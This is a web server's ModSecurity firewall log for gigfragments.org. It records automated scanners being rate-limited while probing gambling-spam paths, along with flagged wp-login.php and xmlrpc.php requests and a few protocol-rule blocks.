[Fri Apr 24 03:49:04.497649 2026] [:error] [pid 53738:tid 53753] [client 212.227.21.19:63940] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aep3sFuaZcfIiYp8cBgQQAAAAM0"]
[Fri Apr 24 03:49:06.489299 2026] [:error] [pid 53640:tid 53709] [client 212.227.21.19:63954] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aep3svvGCeB_vkvt8gGa5AAAAIQ"]
[Fri Apr 24 03:49:08.495863 2026] [:error] [pid 53638:tid 53653] [client 212.227.21.19:51114] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aep3tIE5TTy1-_qhowJmwwAAAAM"]
[Fri Apr 24 03:49:10.515919 2026] [:error] [pid 53639:tid 53685] [client 212.227.21.19:51120] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aep3tsWp63IbJuTsepOUSQAAAEc"]
[Fri Apr 24 03:49:12.503656 2026] [:error] [pid 53639:tid 53696] [client 212.227.21.19:51124] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aep3uMWp63IbJuTsepOUUAAAAFI"]
[Fri Apr 24 03:49:14.524388 2026] [:error] [pid 53640:tid 53724] [client 212.227.21.19:51138] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aep3uvvGCeB_vkvt8gGbDAAAAJM"]
[Fri Apr 24 03:49:16.551333 2026] [:error] [pid 53639:tid 53692] [client 212.227.21.19:51150] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aep3vMWp63IbJuTsepOUXQAAAE4"]
[Fri Apr 24 03:49:18.564794 2026] [:error] [pid 53738:tid 53762] [client 212.227.21.19:52752] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aep3vluaZcfIiYp8cBgQZwAAANY"]
[Fri Apr 24 03:49:20.589205 2026] [:error] [pid 53639:tid 53686] [client 212.227.21.19:52766] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aep3wMWp63IbJuTsepOUbgAAAEg"]
[Fri Apr 24 04:07:48.336098 2026] [:error] [pid 19200:tid 19223] [client 185.198.240.111:59027] [client 185.198.240.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "aep8FDQ--M3-tsKAnhFZ4gAAAM8"]
[Fri Apr 24 04:32:28.357968 2026] [:error] [pid 52129:tid 52140] [client 51.83.100.230:43612] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aeqB3OKCZKf8_u2LKiAakAAAAQc"]
[Fri Apr 24 04:32:30.250926 2026] [:error] [pid 52129:tid 52147] [client 51.83.100.230:45690] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aeqB3uKCZKf8_u2LKiAamgAAAQ4"]
[Fri Apr 24 04:32:32.080154 2026] [:error] [pid 19101:tid 19142] [client 51.83.100.230:45692] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aeqB4GAHj9bEvrTgbO2xTQAAAEU"]
[Fri Apr 24 04:32:33.917654 2026] [:error] [pid 19102:tid 19171] [client 51.83.100.230:45704] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aeqB4QDSgrbLEZbkqD6aLgAAAIc"]
[Fri Apr 24 04:32:35.964130 2026] [:error] [pid 19200:tid 19218] [client 51.83.100.230:43792] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aeqB4zQ--M3-tsKAnhFqzAAAAMo"]
[Fri Apr 24 04:32:38.247457 2026] [:error] [pid 52129:tid 52133] [client 51.83.100.230:43804] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aeqB5uKCZKf8_u2LKiAavAAAAQA"]
[Fri Apr 24 04:32:40.232878 2026] [:error] [pid 19200:tid 19214] [client 51.83.100.230:43814] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aeqB6DQ--M3-tsKAnhFq2QAAAMY"]
[Fri Apr 24 04:32:42.177180 2026] [:error] [pid 52129:tid 52141] [client 51.83.100.230:43820] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aeqB6uKCZKf8_u2LKiAaygAAAQg"]
[Fri Apr 24 04:32:44.233308 2026] [:error] [pid 19100:tid 19130] [client 51.83.100.230:46034] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aeqB7LF_hzQs4CqbiffuVwAAABQ"]
[Fri Apr 24 05:36:52.684726 2026] [:error] [pid 52129:tid 52137] [client 103.78.97.230:58133] [client 103.78.97.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.78.97.230, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeqQ9OKCZKf8_u2LKiBLEQAAAQQ"]
[Fri Apr 24 05:36:54.713639 2026] [:error] [pid 52129:tid 52154] [client 103.78.97.230:58133] [client 103.78.97.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.78.97.230, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeqQ9uKCZKf8_u2LKiBLGgAAARU"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 06:58:44.082080 2026] [:error] [pid 52129:tid 52151] [client 79.137.64.41:36900] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aeqkJOKCZKf8_u2LKiCKEwAAARI"]
[Fri Apr 24 06:58:46.053422 2026] [:error] [pid 19100:tid 19114] [client 79.137.64.41:35436] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aeqkJrF_hzQs4CqbifcY9AAAAAU"]
[Fri Apr 24 06:58:48.062308 2026] [:error] [pid 19101:tid 19157] [client 79.137.64.41:35450] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aeqkKGAHj9bEvrTgbO3fkQAAAFQ"]
[Fri Apr 24 06:58:50.080901 2026] [:error] [pid 19101:tid 19160] [client 79.137.64.41:35460] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aeqkKmAHj9bEvrTgbO3flgAAAFc"]
[Fri Apr 24 06:58:51.987175 2026] [:error] [pid 52129:tid 52138] [client 79.137.64.41:49708] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aeqkK-KCZKf8_u2LKiCKGgAAAQU"]
[Fri Apr 24 06:58:53.861253 2026] [:error] [pid 19102:tid 19174] [client 79.137.64.41:49714] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aeqkLQDSgrbLEZbkqD7bJwAAAIo"]
[Fri Apr 24 06:58:55.870624 2026] [:error] [pid 52129:tid 52141] [client 79.137.64.41:49720] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aeqkL-KCZKf8_u2LKiCKHwAAAQg"]
[Fri Apr 24 06:58:57.731310 2026] [:error] [pid 19101:tid 19139] [client 79.137.64.41:49736] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aeqkMWAHj9bEvrTgbO3foAAAAEI"]
[Fri Apr 24 06:59:20.713727 2026] [:error] [pid 19102:tid 19179] [client 79.137.64.41:50912] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aeqkSADSgrbLEZbkqD7bVAAAAI8"]
[Fri Apr 24 06:59:22.712134 2026] [:error] [pid 19200:tid 19224] [client 79.137.64.41:50918] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aeqkSjQ--M3-tsKAnhG7PAAAANA"]
[Fri Apr 24 06:59:24.718179 2026] [:error] [pid 52129:tid 52134] [client 79.137.64.41:50928] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aeqkTOKCZKf8_u2LKiCKpQAAAQE"]
[Fri Apr 24 06:59:26.744827 2026] [:error] [pid 52129:tid 52153] [client 79.137.64.41:50940] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aeqkTuKCZKf8_u2LKiCKqwAAARQ"]
[Fri Apr 24 06:59:28.731108 2026] [:error] [pid 19100:tid 19118] [client 79.137.64.41:50950] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aeqkULF_hzQs4CqbifcZIQAAAAg"]
[Fri Apr 24 06:59:30.742232 2026] [:error] [pid 19102:tid 19170] [client 79.137.64.41:33342] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aeqkUgDSgrbLEZbkqD7bZwAAAIY"]
[Fri Apr 24 06:59:32.569294 2026] [:error] [pid 52129:tid 52138] [client 79.137.64.41:33356] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aeqkVOKCZKf8_u2LKiCKtgAAAQU"]
[Fri Apr 24 06:59:34.565830 2026] [:error] [pid 19200:tid 19211] [client 79.137.64.41:33366] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aeqkVjQ--M3-tsKAnhG7YAAAAMM"]
[Fri Apr 24 06:59:36.547993 2026] [:error] [pid 19200:tid 19213] [client 79.137.64.41:33376] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aeqkWDQ--M3-tsKAnhG7aAAAAMU"]
[Fri Apr 24 06:59:38.386617 2026] [:error] [pid 19101:tid 19155] [client 79.137.64.41:33392] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aeqkWmAHj9bEvrTgbO3fvwAAAFI"]
[Fri Apr 24 07:00:36.257409 2026] [:error] [pid 19100:tid 19115] [client 79.137.64.41:46772] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aeqklLF_hzQs4CqbifcZXAAAAAY"]
[Fri Apr 24 07:00:38.179130 2026] [:error] [pid 19102:tid 19181] [client 79.137.64.41:53950] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "aeqklgDSgrbLEZbkqD7b2gAAAJE"]
[Fri Apr 24 07:00:40.178308 2026] [:error] [pid 52129:tid 52156] [client 79.137.64.41:53962] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aeqkmOKCZKf8_u2LKiCMWAAAARc"]
[Fri Apr 24 07:00:42.154732 2026] [:error] [pid 52129:tid 52146] [client 79.137.64.41:43164] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aeqkmuKCZKf8_u2LKiCMYgAAAQ0"]
[Fri Apr 24 07:00:44.148346 2026] [:error] [pid 19100:tid 19129] [client 79.137.64.41:43172] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aeqknLF_hzQs4CqbifcZaAAAABM"]
[Fri Apr 24 07:00:46.137386 2026] [:error] [pid 52129:tid 52156] [client 79.137.64.41:43184] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aeqknuKCZKf8_u2LKiCMagAAARc"]
[Fri Apr 24 07:06:10.136462 2026] [:error] [pid 19200:tid 19230] [client 182.43.70.143:38691] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeql4jQ--M3-tsKAnhG_WgAAANY"]
[Fri Apr 24 07:51:47.714544 2026] [:error] [pid 52129:tid 52133] [client 124.156.157.91:51506] [client 124.156.157.91] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeqwk-KCZKf8_u2LKiDdsQAAAQA"]
[Fri Apr 24 09:00:11.605286 2026] [:error] [pid 19100:tid 19115] [client 161.35.25.65:38446] [client 161.35.25.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.35.25.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aerAm7F_hzQs4Cqbifdb6QAAAAY"]
[Fri Apr 24 09:00:14.260255 2026] [:error] [pid 19100:tid 19116] [client 161.35.25.65:38446] [client 161.35.25.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.35.25.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aerAnrF_hzQs4Cqbifdb7AAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 09:43:27.261052 2026] [:error] [pid 19200:tid 19208] [client 163.53.186.130:60640] [client 163.53.186.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.53.186.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aerKvzQ--M3-tsKAnhFICgAAAMA"]
[Fri Apr 24 09:43:27.361305 2026] [:error] [pid 19200:tid 19220] [client 163.53.186.130:60641] [client 163.53.186.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.53.186.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aerKvzQ--M3-tsKAnhFICwAAAMw"]
[Fri Apr 24 10:14:45.038767 2026] [:error] [pid 12640:tid 12686] [client 137.220.63.95:35356] [client 137.220.63.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.220.63.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aerSFcVkeC6kHQbgQGF8vgAAAE8"]
[Fri Apr 24 10:14:47.038614 2026] [:error] [pid 12640:tid 12694] [client 137.220.63.95:35356] [client 137.220.63.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.220.63.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aerSF8VkeC6kHQbgQGF8wQAAAFc"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 10:32:05.635038 2026] [:error] [pid 17808:tid 17827] [client 194.26.192.182:59747] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aerWJearbOEFI8qshvI8AAAAAFE"]
[Fri Apr 24 10:32:06.145520 2026] [:error] [pid 22114:tid 22128] [client 194.26.192.182:60047] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aerWJoAuWGz3WlMQjodqAwAAAQs"]
